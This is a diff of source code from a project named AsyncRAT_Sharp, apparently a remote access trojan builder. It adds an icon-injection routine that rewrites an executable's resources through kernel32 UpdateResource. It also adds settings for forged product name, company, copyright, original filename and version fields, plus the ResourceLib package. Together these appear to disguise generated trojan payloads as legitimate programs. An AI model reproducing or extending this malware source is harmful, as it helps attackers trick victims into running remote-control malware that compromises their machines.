// When you make the call you say "I'm updating an icon", and you send the icon data.
|
||||
// The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in
|
||||
// another set of structures. So you have to translate between the two -- you can't just load the ICO file as
|
||||
// bytes and send them with the UpdateResource api call.
|
||||
|
||||
[SuppressUnmanagedCodeSecurity()]
|
||||
private class NativeMethods
|
||||
{
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr BeginUpdateResource(string fileName,
|
||||
[MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language,
|
||||
[MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
|
||||
}
|
||||
|
||||
// The first structure in an ICO file lets us know how many images are in the file.
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct ICONDIR
|
||||
{
|
||||
// Reserved, must be 0
|
||||
public ushort Reserved;
|
||||
// Resource type, 1 for icons.
|
||||
public ushort Type;
|
||||
// How many images.
|
||||
public ushort Count;
|
||||
// The native structure has an array of ICONDIRENTRYs as a final field.
|
||||
}
|
||||
|
||||
// Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data
|
||||
// starts in the file. The other fields give the information required to turn that image data into a valid
|
||||
// bitmap.
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct ICONDIRENTRY
|
||||
{
|
||||
/// <summary>
|
||||
/// The width, in pixels, of the image.
|
||||
/// </summary>
|
||||
public byte Width;
|
||||
/// <summary>
|
||||
/// The height, in pixels, of the image.
|
||||
/// </summary>
|
||||
public byte Height;
|
||||
/// <summary>
|
||||
/// The number of colors in the image; (0 if >= 8bpp)
|
||||
/// </summary>
|
||||
public byte ColorCount;
|
||||
/// <summary>
|
||||
/// Reserved (must be 0).
|
||||
/// </summary>
|
||||
public byte Reserved;
|
||||
/// <summary>
|
||||
/// Color planes.
|
||||
/// </summary>
|
||||
public ushort Planes;
|
||||
/// <summary>
|
||||
/// Bits per pixel.
|
||||
/// </summary>
|
||||
public ushort BitCount;
|
||||
/// <summary>
|
||||
/// The length, in bytes, of the pixel data.
|
||||
/// </summary>
|
||||
public int BytesInRes;
|
||||
/// <summary>
|
||||
/// The offset in the file where the pixel data starts.
|
||||
/// </summary>
|
||||
public int ImageOffset;
|
||||
}
|
||||
|
||||
// Each image is stored in the file as an ICONIMAGE structure:
|
||||
//typdef struct
|
||||
//{
|
||||
// BITMAPINFOHEADER icHeader; // DIB header
|
||||
// RGBQUAD icColors[1]; // Color table
|
||||
// BYTE icXOR[1]; // DIB bits for XOR mask
|
||||
// BYTE icAND[1]; // DIB bits for AND mask
|
||||
//} ICONIMAGE, *LPICONIMAGE;
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct BITMAPINFOHEADER
|
||||
{
|
||||
public uint Size;
|
||||
public int Width;
|
||||
public int Height;
|
||||
public ushort Planes;
|
||||
public ushort BitCount;
|
||||
public uint Compression;
|
||||
public uint SizeImage;
|
||||
public int XPelsPerMeter;
|
||||
public int YPelsPerMeter;
|
||||
public uint ClrUsed;
|
||||
public uint ClrImportant;
|
||||
}
|
||||
|
||||
// The icon in an exe/dll file is stored in a very similar structure:
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 2)]
|
||||
private struct GRPICONDIRENTRY
|
||||
{
|
||||
public byte Width;
|
||||
public byte Height;
|
||||
public byte ColorCount;
|
||||
public byte Reserved;
|
||||
public ushort Planes;
|
||||
public ushort BitCount;
|
||||
public int BytesInRes;
|
||||
public ushort ID;
|
||||
}
|
||||
|
||||
public static void InjectIcon(string exeFileName, string iconFileName)
|
||||
{
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1);
|
||||
}
|
||||
|
||||
public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
|
||||
{
|
||||
const uint RT_ICON = 3u;
|
||||
const uint RT_GROUP_ICON = 14u;
|
||||
IconFile iconFile = IconFile.FromFile(iconFileName);
|
||||
var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
|
||||
var data = iconFile.CreateIconGroupData(iconBaseID);
|
||||
NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data,
|
||||
data.Length);
|
||||
for (int i = 0; i <= iconFile.ImageCount - 1; i++)
|
||||
{
|
||||
var image = iconFile.ImageData(i);
|
||||
NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image,
|
||||
image.Length);
|
||||
}
|
||||
NativeMethods.EndUpdateResource(hUpdate, false);
|
||||
}
|
||||
|
||||
private class IconFile
|
||||
{
|
||||
private ICONDIR iconDir = new ICONDIR();
|
||||
private ICONDIRENTRY[] iconEntry;
|
||||
|
||||
private byte[][] iconImage;
|
||||
|
||||
public int ImageCount
|
||||
{
|
||||
get { return iconDir.Count; }
|
||||
}
|
||||
|
||||
public byte[] ImageData(int index)
|
||||
{
|
||||
return iconImage[index];
|
||||
}
|
||||
|
||||
public static IconFile FromFile(string filename)
|
||||
{
|
||||
IconFile instance = new IconFile();
|
||||
// Read all the bytes from the file.
|
||||
byte[] fileBytes = System.IO.File.ReadAllBytes(filename);
|
||||
// First struct is an ICONDIR
|
||||
// Pin the bytes from the file in memory so that we can read them.
|
||||
// If we didn't pin them then they could move around (e.g. when the
|
||||
// garbage collector compacts the heap)
|
||||
GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
|
||||
// Read the ICONDIR
|
||||
instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
|
||||
// which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
|
||||
instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
|
||||
instance.iconImage = new byte[instance.iconDir.Count][];
|
||||
// The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
|
||||
int offset = Marshal.SizeOf(instance.iconDir);
|
||||
// After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY
|
||||
var iconDirEntryType = typeof(ICONDIRENTRY);
|
||||
var size = Marshal.SizeOf(iconDirEntryType);
|
||||
for (int i = 0; i <= instance.iconDir.Count - 1; i++)
|
||||
{
|
||||
// Grab the structure.
|
||||
var entry =
|
||||
(ICONDIRENTRY)
|
||||
Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset),
|
||||
iconDirEntryType);
|
||||
instance.iconEntry[i] = entry;
|
||||
// Grab the associated pixel data.
|
||||
instance.iconImage[i] = new byte[entry.BytesInRes];
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
|
||||
offset += size;
|
||||
}
|
||||
pinnedBytes.Free();
|
||||
return instance;
|
||||
}
|
||||
|
||||
public byte[] CreateIconGroupData(uint iconBaseID)
|
||||
{
|
||||
// This will store the memory version of the icon.
|
||||
int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) +
|
||||
Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
|
||||
byte[] data = new byte[sizeOfIconGroupData];
|
||||
var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
|
||||
var offset = Marshal.SizeOf(iconDir);
|
||||
for (int i = 0; i <= ImageCount - 1; i++)
|
||||
{
|
||||
GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY();
|
||||
BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER();
|
||||
var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(),
|
||||
Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
|
||||
pinnedBitmapInfoHeader.Free();
|
||||
grpEntry.Width = iconEntry[i].Width;
|
||||
grpEntry.Height = iconEntry[i].Height;
|
||||
grpEntry.ColorCount = iconEntry[i].ColorCount;
|
||||
grpEntry.Reserved = iconEntry[i].Reserved;
|
||||
grpEntry.Planes = bitmapheader.Planes;
|
||||
grpEntry.BitCount = bitmapheader.BitCount;
|
||||
grpEntry.BytesInRes = iconEntry[i].BytesInRes;
|
||||
grpEntry.ID = Convert.ToUInt16(iconBaseID + i);
|
||||
Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset),
|
||||
false);
|
||||
offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
|
||||
}
|
||||
pinnedData.Free();
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -12,7 +12,7 @@ namespace AsyncRAT_Sharp.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.0.0.0")]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.1.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
@ -94,5 +94,101 @@ namespace AsyncRAT_Sharp.Properties {
|
||||
this["IP"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string ProductName {
|
||||
get {
|
||||
return ((string)(this["ProductName"]));
|
||||
}
|
||||
set {
|
||||
this["ProductName"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string txtDescription {
|
||||
get {
|
||||
return ((string)(this["txtDescription"]));
|
||||
}
|
||||
set {
|
||||
this["txtDescription"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string txtCompany {
|
||||
get {
|
||||
return ((string)(this["txtCompany"]));
|
||||
}
|
||||
set {
|
||||
this["txtCompany"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string txtCopyright {
|
||||
get {
|
||||
return ((string)(this["txtCopyright"]));
|
||||
}
|
||||
set {
|
||||
this["txtCopyright"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string txtTrademarks {
|
||||
get {
|
||||
return ((string)(this["txtTrademarks"]));
|
||||
}
|
||||
set {
|
||||
this["txtTrademarks"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("")]
|
||||
public string txtOriginalFilename {
|
||||
get {
|
||||
return ((string)(this["txtOriginalFilename"]));
|
||||
}
|
||||
set {
|
||||
this["txtOriginalFilename"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("0.0.0.0")]
|
||||
public string txtProductVersion {
|
||||
get {
|
||||
return ((string)(this["txtProductVersion"]));
|
||||
}
|
||||
set {
|
||||
this["txtProductVersion"] = value;
|
||||
}
|
||||
}
|
||||
|
||||
[global::System.Configuration.UserScopedSettingAttribute()]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Configuration.DefaultSettingValueAttribute("0.0.0.0")]
|
||||
public string txtFileVersion {
|
||||
get {
|
||||
return ((string)(this["txtFileVersion"]));
|
||||
}
|
||||
set {
|
||||
this["txtFileVersion"] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -20,5 +20,29 @@
|
||||
<Setting Name="IP" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="ProductName" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtDescription" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtCompany" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtCopyright" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtTrademarks" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtOriginalFilename" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)" />
|
||||
</Setting>
|
||||
<Setting Name="txtProductVersion" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)">0.0.0.0</Value>
|
||||
</Setting>
|
||||
<Setting Name="txtFileVersion" Type="System.String" Scope="User">
|
||||
<Value Profile="(Default)">0.0.0.0</Value>
|
||||
</Setting>
|
||||
</Settings>
|
||||
</SettingsFile>
|
@ -28,6 +28,30 @@
|
||||
<setting name="IP" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="ProductName" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtDescription" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtCompany" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtCopyright" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtTrademarks" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtOriginalFilename" serializeAs="String">
|
||||
<value />
|
||||
</setting>
|
||||
<setting name="txtProductVersion" serializeAs="String">
|
||||
<value>0.0.0.0</value>
|
||||
</setting>
|
||||
<setting name="txtFileVersion" serializeAs="String">
|
||||
<value>0.0.0.0</value>
|
||||
</setting>
|
||||
</AsyncRAT_Sharp.Properties.Settings>
|
||||
</userSettings>
|
||||
<appSettings>
|
||||
|
@ -2,4 +2,5 @@
|
||||
<packages>
|
||||
<package id="BouncyCastle" version="1.8.5" targetFramework="net46" />
|
||||
<package id="Mono.Cecil" version="0.10.3" targetFramework="net46" />
|
||||
<package id="Vestris.ResourceLib" version="1.6.422" targetFramework="net46" />
|
||||
</packages>
|
Loading…
x
Reference in New Issue
Block a user